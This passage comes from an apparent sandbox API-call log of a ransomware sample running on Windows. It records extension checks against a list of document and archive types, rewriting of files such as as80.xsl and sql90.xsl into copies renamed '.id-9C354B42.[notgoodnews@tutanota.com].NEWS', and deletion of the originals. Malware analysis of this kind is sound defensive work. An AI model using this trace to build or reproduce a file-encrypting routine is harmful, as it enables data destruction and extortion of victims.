Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_highlights_thumbnail.bmp.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0218.841] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_highlights_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.868] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp") returned 78 [0218.868] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp") returned 78 [0218.868] lstrlenW (lpString=".doc") returned 4 [0218.868] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0218.868] lstrlenW (lpString=".docx") returned 5 [0218.868] lstrcmpiW (lpString1=".docx", lpString2="l.bmp") returned -1 [0218.869] lstrlenW (lpString=".pdf") returned 4 [0218.869] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0218.869] lstrlenW (lpString=".xls") returned 4 [0218.869] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0218.870] lstrlenW (lpString=".xlsx") returned 5 [0218.870] lstrcmpiW (lpString1=".xlsx", lpString2="l.bmp") returned -1 [0218.870] lstrlenW (lpString=".ppt") returned 4 [0218.870] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0218.870] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp") returned 78 [0218.870] lstrlenW (lpString=".zip") returned 4 [0218.870] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0218.870] lstrlenW (lpString=".rar") returned 4 [0218.870] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0218.870] lstrlenW (lpString=".bz2") returned 4 [0218.870] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0218.870] lstrlenW (lpString=".7z") returned 3 [0218.871] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0218.871] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp") returned 78 [0218.871] lstrlenW (lpString=".dbf") returned 4 [0218.871] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0218.871] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp") returned 78 [0218.871] lstrlenW (lpString=".1cd") returned 4 [0218.871] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0218.871] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp") returned 78 [0218.871] lstrlenW (lpString=".jpg") returned 4 [0218.871] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0218.872] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp") returned 78 [0218.872] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp") returned 78 [0218.872] lstrlenW (lpString=".doc") returned 4 [0218.872] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0218.872] lstrlenW (lpString=".docx") returned 5 [0218.872] lstrcmpiW (lpString1=".docx", lpString2="l.bmp") returned -1 [0218.872] lstrlenW (lpString=".pdf") returned 4 [0218.872] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0218.872] lstrlenW (lpString=".xls") returned 4 [0218.872] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0218.872] lstrlenW (lpString=".xlsx") returned 5 [0218.873] lstrcmpiW (lpString1=".xlsx", lpString2="l.bmp") returned -1 [0218.873] lstrlenW (lpString=".ppt") returned 4 [0218.873] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0218.873] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp") returned 78 [0218.873] lstrlenW (lpString=".zip") returned 4 [0218.873] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0218.873] lstrlenW (lpString=".rar") returned 4 [0218.873] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0218.873] lstrlenW (lpString=".bz2") returned 4 [0218.873] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0218.873] lstrlenW (lpString=".7z") returned 3 [0218.874] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0218.874] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp") returned 78 [0218.874] lstrlenW (lpString=".dbf") returned 4 [0218.874] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0218.874] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp") returned 78 [0218.874] lstrlenW (lpString=".1cd") returned 4 [0218.874] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0218.874] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_highlights_Thumbnail.bmp") returned 78 [0218.874] lstrlenW (lpString=".jpg") returned 4 [0218.874] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0218.875] lstrcmpiW (lpString1=".bmp", lpString2=".NEWS") returned -1 [0218.875] lstrlenW (lpString="rectangle_plain_Thumbnail.bmp") returned 29 [0218.875] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_plain_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0218.876] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=5072) returned 1 [0218.876] CloseHandle (hObject=0x388) returned 1 [0218.877] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_plain_thumbnail.bmp")) returned 0x20 [0218.877] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_plain_thumbnail.bmp.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0218.877] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_plain_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.878] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp") returned 73 [0218.878] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp") returned 73 [0218.878] lstrlenW (lpString=".doc") returned 4 [0218.878] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0218.878] lstrlenW (lpString=".docx") returned 5 [0218.878] lstrcmpiW (lpString1=".docx", lpString2="l.bmp") returned -1 [0218.878] lstrlenW (lpString=".pdf") returned 4 [0218.878] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0218.878] lstrlenW (lpString=".xls") returned 4 [0218.878] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0218.878] lstrlenW (lpString=".xlsx") returned 5 [0218.879] lstrcmpiW (lpString1=".xlsx", lpString2="l.bmp") returned -1 [0218.879] lstrlenW (lpString=".ppt") returned 4 [0218.879] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0218.879] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp") returned 73 [0218.879] lstrlenW (lpString=".zip") returned 4 [0218.880] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0218.880] lstrlenW (lpString=".rar") returned 4 [0218.880] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0218.880] lstrlenW (lpString=".bz2") returned 4 [0218.880] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0218.880] lstrlenW (lpString=".7z") returned 3 [0218.880] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0218.880] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp") returned 73 [0218.880] lstrlenW (lpString=".dbf") returned 4 [0218.880] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0218.880] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp") returned 73 [0218.881] lstrlenW (lpString=".1cd") returned 4 [0218.881] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0218.881] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp") returned 73 [0218.881] lstrlenW (lpString=".jpg") returned 4 [0218.881] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0218.881] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp") returned 73 [0218.881] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp") returned 73 [0218.881] lstrlenW (lpString=".doc") returned 4 [0218.881] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0218.882] lstrlenW (lpString=".docx") returned 5 [0218.882] lstrcmpiW (lpString1=".docx", lpString2="l.bmp") returned -1 [0218.882] lstrlenW (lpString=".pdf") returned 4 [0218.882] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0218.882] lstrlenW (lpString=".xls") returned 4 [0218.882] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0218.882] lstrlenW (lpString=".xlsx") returned 5 [0218.882] lstrcmpiW (lpString1=".xlsx", lpString2="l.bmp") returned -1 [0218.882] lstrlenW (lpString=".ppt") returned 4 [0218.882] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0218.882] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp") returned 73 [0218.883] lstrlenW (lpString=".zip") returned 4 [0218.883] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0218.883] lstrlenW (lpString=".rar") returned 4 [0218.883] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0218.883] lstrlenW (lpString=".bz2") returned 4 [0218.883] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0218.883] lstrlenW (lpString=".7z") returned 3 [0218.883] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0218.883] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp") returned 73 [0218.883] lstrlenW (lpString=".dbf") returned 4 [0218.884] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0218.884] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp") returned 73 [0218.884] lstrlenW (lpString=".1cd") returned 4 [0218.884] lstrcmpiW (lpString1=".1cd", lpString2=".bmp") returned -1 [0218.884] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_plain_Thumbnail.bmp") returned 73 [0218.884] lstrlenW (lpString=".jpg") returned 4 [0218.884] lstrcmpiW (lpString1=".jpg", lpString2=".bmp") returned 1 [0218.885] lstrcmpiW (lpString1=".bmp", lpString2=".NEWS") returned -1 [0218.885] lstrlenW (lpString="rectangle_postage_Thumbnail.bmp") returned 31 [0218.885] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_postage_thumbnail.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0218.886] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=5072) returned 1 [0218.886] CloseHandle (hObject=0x388) returned 1 [0218.886] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_postage_thumbnail.bmp")) returned 0x20 [0218.886] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_postage_thumbnail.bmp.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0218.887] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangle_postage_thumbnail.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0218.887] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp") returned 75 [0218.887] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp") returned 75 [0218.887] lstrlenW (lpString=".doc") returned 4 [0218.887] lstrcmpiW (lpString1=".doc", lpString2=".bmp") returned 1 [0218.887] lstrlenW (lpString=".docx") returned 5 [0218.888] lstrcmpiW (lpString1=".docx", lpString2="l.bmp") returned -1 [0218.888] lstrlenW (lpString=".pdf") returned 4 [0218.888] lstrcmpiW (lpString1=".pdf", lpString2=".bmp") returned 1 [0218.888] lstrlenW (lpString=".xls") returned 4 [0218.888] lstrcmpiW (lpString1=".xls", lpString2=".bmp") returned 1 [0218.888] lstrlenW (lpString=".xlsx") returned 5 [0218.888] lstrcmpiW (lpString1=".xlsx", lpString2="l.bmp") returned -1 [0218.888] lstrlenW (lpString=".ppt") returned 4 [0218.888] lstrcmpiW (lpString1=".ppt", lpString2=".bmp") returned 1 [0218.888] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp") returned 75 [0218.889] lstrlenW (lpString=".zip") returned 4 [0218.889] lstrcmpiW (lpString1=".zip", lpString2=".bmp") returned 1 [0218.889] lstrlenW (lpString=".rar") returned 4 [0218.889] lstrcmpiW (lpString1=".rar", lpString2=".bmp") returned 1 [0218.890] lstrlenW (lpString=".bz2") returned 4 [0218.890] lstrcmpiW (lpString1=".bz2", lpString2=".bmp") returned 1 [0218.890] lstrlenW (lpString=".7z") returned 3 [0218.890] lstrcmpiW (lpString1=".7z", lpString2="bmp") returned -1 [0218.890] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\rectangle_postage_Thumbnail.bmp") returned 75 [0218.890] lstrlenW (lpString=".dbf") returned 4 [0218.890] lstrcmpiW (lpString1=".dbf", lpString2=".bmp") returned 1 [0219.938] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=17248) returned 1 [0219.938] CloseHandle (hObject=0x324) returned 1 [0219.939] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl")) returned 0x20 [0219.939] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0219.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0219.940] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0219.940] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0219.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0221.211] GetLastError () returned 0x0 [0221.211] ReadFile (in: hFile=0x324, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x4360, lpOverlapped=0x0) returned 1 [0222.954] WriteFile (in: hFile=0x388, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x4370, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0x4370, lpOverlapped=0x0) returned 1 [0222.958] ReadFile (in: hFile=0x324, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x0, lpOverlapped=0x0) returned 1 [0222.958] WriteFile (in: hFile=0x388, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0xe4, lpOverlapped=0x0) returned 1 [0222.959] SetEndOfFile (hFile=0x388) returned 1 [0222.959] CloseHandle (hObject=0x388) returned 1 [0222.959] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0222.960] SetEndOfFile (hFile=0x324) returned 1 [0222.968] CloseHandle (hObject=0x324) returned 1 [0222.968] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0222.969] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as80.xsl")) returned 1 [0222.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0222.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0222.970] lstrlenW (lpString=".doc") returned 4 [0222.970] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0222.970] lstrlenW (lpString=".docx") returned 5 [0222.970] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0222.970] lstrlenW (lpString=".pdf") returned 4 [0222.970] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0222.970] lstrlenW (lpString=".xls") returned 4 [0222.971] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0222.971] lstrlenW (lpString=".xlsx") returned 5 [0222.971] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0222.971] lstrlenW (lpString=".ppt") returned 4 [0222.971] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0222.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0222.971] lstrlenW (lpString=".zip") returned 4 [0222.971] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0222.971] lstrlenW (lpString=".rar") returned 4 [0222.971] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0222.971] lstrlenW (lpString=".bz2") returned 4 [0222.972] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0222.972] lstrlenW (lpString=".7z") returned 3 [0222.972] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0222.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0222.972] lstrlenW (lpString=".dbf") returned 4 [0222.972] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0222.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0222.972] lstrlenW (lpString=".1cd") returned 4 [0222.972] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0222.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0222.972] lstrlenW (lpString=".jpg") returned 4 [0222.972] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0222.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0222.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0222.973] lstrlenW (lpString=".doc") returned 4 [0222.973] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0222.973] lstrlenW (lpString=".docx") returned 5 [0222.973] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0222.973] lstrlenW (lpString=".pdf") returned 4 [0222.973] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0222.973] lstrlenW (lpString=".xls") returned 4 [0222.973] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0222.974] lstrlenW (lpString=".xlsx") returned 5 [0222.974] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0222.974] lstrlenW (lpString=".ppt") returned 4 [0222.974] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0222.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0222.974] lstrlenW (lpString=".zip") returned 4 [0222.974] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0222.974] lstrlenW (lpString=".rar") returned 4 [0222.974] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0222.974] lstrlenW (lpString=".bz2") returned 4 [0222.974] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0222.974] lstrlenW (lpString=".7z") returned 3 [0222.974] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0222.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0222.975] lstrlenW (lpString=".dbf") returned 4 [0222.975] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0222.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0222.975] lstrlenW (lpString=".1cd") returned 4 [0222.975] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0222.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as80.xsl") returned 76 [0222.975] lstrlenW (lpString=".jpg") returned 4 [0222.975] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0222.976] lstrcmpiW (lpString1=".xsl", lpString2=".NEWS") returned 1 [0222.976] lstrlenW (lpString="sql90.xsl") returned 9 [0222.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0222.977] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x31aff1c | out: lpFileSize=0x31aff1c*=39515) returned 1 [0222.977] CloseHandle (hObject=0x324) returned 1 [0222.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl")) returned 0x20 [0222.977] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0222.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0222.978] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0222.978] SetFilePointerEx (in: hFile=0x324, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x31afec8 | out: lpNewFilePointer=0x0) returned 1 [0222.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sql90.xsl.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0222.980] GetLastError () returned 0x0 [0222.980] ReadFile (in: hFile=0x324, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x9a5b, lpOverlapped=0x0) returned 1 [0225.524] WriteFile (in: hFile=0x388, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0x9a60, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesWritten=0x31afc9c*=0x9a60, lpOverlapped=0x0) returned 1 [0225.529] ReadFile (in: hFile=0x324, lpBuffer=0x3d30020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x31afed4, lpOverlapped=0x0 | out: lpBuffer=0x3d30020*, lpNumberOfBytesRead=0x31afed4*=0x0, lpOverlapped=0x0) returned 1 [0225.530] WriteFile (in: hFile=0x388, lpBuffer=0x3d30020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x31afc9c, lpOverlapped=0x0 | out: 